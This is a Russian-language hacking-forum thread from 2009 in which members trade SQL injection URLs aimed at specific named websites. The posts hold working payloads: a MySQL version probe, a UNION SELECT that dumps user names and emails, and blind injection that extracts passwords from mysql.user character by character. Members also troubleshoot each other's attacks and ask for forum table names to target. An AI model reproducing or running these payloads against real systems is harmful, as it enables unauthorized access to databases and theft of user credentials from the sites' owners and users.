HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 30.01.2009, 12:16
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


По умолчанию

Код:
http://www.brockport.edu/athletics/baseball/index.php?id=432'+and+substring(@@version,1,1)=4/*
4-ая ветка
 
Ответить с цитированием

  #2  
Старый 30.01.2009, 17:51
Octave_Parango
Познающий
Регистрация: 06.11.2008
Сообщений: 93
Провел на форуме:
349682

Репутация: 30
По умолчанию

Ребята, подскажите:
Что-то не пойму:
Вывожу данные:
=-6285+union+select+1,2,3,4,5,6,7,8,9,10,group_conca t(user,0x3a,email),12+from+users--
Выводит какое-то количество данных, пробую лимитом "user":
=-6285+union+select+1,2,3,4,5,6,7,8,9,10,user,12+fro m+users+limit+1,1--
Данные не выводятся:
Пробую просто concat - тоже самое, а также _ws - тоже ничего не хочет выводить...
В чем косяк?
 
Ответить с цитированием

  #3  
Старый 30.01.2009, 17:56
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

Octave_Parango
Чем помочь? Погадать? На картах или на кофейной гуще предпочитаете?

Запрос верен, если запись не одна, должно выводить, остальное домыслы и без линка не уместны
 
Ответить с цитированием

  #4  
Старый 30.01.2009, 18:02
Octave_Parango
Познающий
Регистрация: 06.11.2008
Сообщений: 93
Провел на форуме:
349682

Репутация: 30
По умолчанию

jokester,
Ок. спасибо!
 
Ответить с цитированием

  #5  
Старый 30.01.2009, 18:49
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


По умолчанию

вопрос таков, есть сайтег скуля есть но слепая верся БД 4, есть форум ипб кто нибудь может дать название табелок и колонок в бд для форума?
 
Ответить с цитированием

  #6  
Старый 30.01.2009, 18:51
DimOnOID
Постоянный
Регистрация: 05.12.2006
Сообщений: 477
Провел на форуме:
11338585

Репутация: 441
По умолчанию

Цитата:
Сообщение от Gorev  
вопрос таков, есть сайтег скуля есть но слепая верся БД 4, есть форум ипб кто нибудь может дать название табелок и колонок в бд для форума?
http://up.cih.ms/ettee/sql/
помогает)
 
Ответить с цитированием

  #7  
Старый 30.01.2009, 18:53
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


По умолчанию

spasibo
 
Ответить с цитированием

  #8  
Старый 30.01.2009, 19:50
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865

Репутация: 571
По умолчанию

Это не вывод...

Код:
http://photo.gala.net/index.php?action=view&id=120141026+union+select+111111111111111--
Похоже, там 11 колонок, но вывода нету.

Насчёт подзапросов...
Всего пару раз встречался с Sybase ASE, поэтому не знаю, работают они там или нет..
Вроде нет.

Хотя.. сейчас может придёт дядя jokester и отругает меня за то, что я снова тороплюсь ^^

Последний раз редактировалось R1dex; 30.01.2009 в 19:53..
 
Ответить с цитированием

  #9  
Старый 30.01.2009, 20:03
kevmen
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
Провел на форуме:
397889

Репутация: 60
По умолчанию

Здравствуйте)
Помогите найти ошибку,пожалуйста!

PHP код:
http://www.tehbasa.ru/index.php?idt=25
+and+ascii(lower(substring(select+password
+from+mysql.user+where
+user=char(116,101,104,98,97,115,97,95,97,
115,105,100,64,55,57,46,49,55,52,46,55,51,46,55,50)+limit+1),1,1)))%3C=122 
 
Ответить с цитированием

  #10  
Старый 30.01.2009, 20:08
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


По умолчанию

http://www.tehbasa.ru/index.php?idt=25+and+ascii(lower(substring(select+ password+from+mysql.user+where+user=char(116,101,1 04,98,97,115,97,95,97,115,105,100,64,55,57,46,49,5 5,52,46,55,51,46,55,50)+limit+1,1),1,1)))%3C=122
либо
http://www.tehbasa.ru/index.php?idt=25+and+ascii(lower(substring(select+ password+from+mysql.user+where+user=char(116,101,1 04,98,97,115,97,95,97,115,105,100,64,55,57,46,49,5 5,52,46,55,51,46,55,50)+limit+1,1)))%3C=122
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.